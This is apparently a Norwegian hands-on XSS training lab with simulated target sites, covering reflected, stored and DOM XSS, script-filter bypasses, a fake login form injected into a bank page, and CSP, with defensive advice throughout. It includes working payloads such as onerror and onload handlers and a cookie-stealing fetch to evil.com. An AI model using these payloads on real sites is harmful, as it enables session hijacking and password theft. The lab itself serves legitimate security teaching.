Angrip ekte (simulerte) nettsider. Hver lab har sin egen target site — fra enkel HTML-injeksjon til avansert filter-bypass og CSP-analyse.
Søkefeltet til BookShop reflekterer input direkte med innerHTML. Det betyr at HTML-tagger tolkes. Forstå hva dette innebærer før du går videre til XSS.
<h1>HACKET</h1> — hva skjer i outputen?<img src=x> — lastes bildet?innerHTML. Du kan formatere tekst — men for å kjøre JavaScript trenger du et script eller en event handler.innerHTML brukes — neste steg er å legge til JavaScript via event handlers.onerror-attributtet kjører JS når et bilde feiler å laste.200 000+ titler
NewsPortal reflekterer søkeinput med innerHTML. Nå er målet å faktisk kjøre JavaScript — ikke bare injisere HTML.
<img src=x onerror="..."> til å kjøre JavaScriptdocument.cookie i payloaden<img src=x onerror="document.getElementById('l2-cookie').style.display='block'">onerror kjøres av nettleseren automatisk når bildet feiler å laste. src=x er en ugyldig URL som alltid feiler.<img src=x onerror="document.getElementById('l2-cookie').style.display='block'">onerror="fetch('https://evil.com/?c='+document.cookie)" — sender session-cookien til angripers server i bakgrunnen, usynlig for brukeren.Oppdatert hele døgnet
TechForum lagrer kommentarer og viser dem til alle. En payload her kjøres for alle besøkende — ikke bare deg.
<img src=x onerror="this.closest('.ts-comment').style.outline='3px solid red'">textContent ved visning.ShopNow leser brukernavnet fra URL-parameteren ?name= og setter det inn med innerHTML — uten å sende noe til serveren.
#hash) og URL-parametre lest med location.search sendes aldri til serveren — de lever kun i nettleseren. Server-side WAF og filtrering er blindt for dette angrepet.textContent i stedet for innerHTML når brukerinput fra URL vises.encodeURIComponent() og decode med decodeURIComponent() — taggetegn blir da %3C og %3E, som innerHTML ikke tolker som HTML.Velkommen tilbake til ShopNow
ContactForm prøver å blokkere XSS ved å fjerne <script>-tagger. Men dette filteret er enkelt å omgå. Finn minst to metoder.
<script>alert(1)</script> blokkeres<script>)<SCRIPT><script>:<img onerror=...><svg onload=...><SCRIPT> (case sensitivity)<scr<script>ipt> (dobbel-injeksjon hvis filter bare kjøres én gang)<b>, <i>) med et bibliotek som DOMPurify. Alt annet strippes.BankApp har en XSS-sårbarhet i velkomstmeldingen. En angriper kan injisere et falskt innloggingsskjema — på ekte domene — som stjeler passord.
<div style="background:white;padding:20px;border:2px solid red"><h3>Sikkerhetskontroll</h3><input placeholder="Passord"></div>bankapp.no). Hengelåsen viser HTTPS. Brukeren ser ingenting mistenkelig.PrivacyBlog har to versjoner av kommentarfeltet: sårbart og patchet. Sammenlign dem, og forstå hva Content Security Policy (CSP) gjør på toppen.
textContent alene nok, eller trenger vi CSP i tillegg?script-src 'self' betyr at kun scripts fra samme domene kan kjøre — inline scripts blokkeres selv om XSS-payload injiseres.textContent / DOMPurify i frontend< etc.)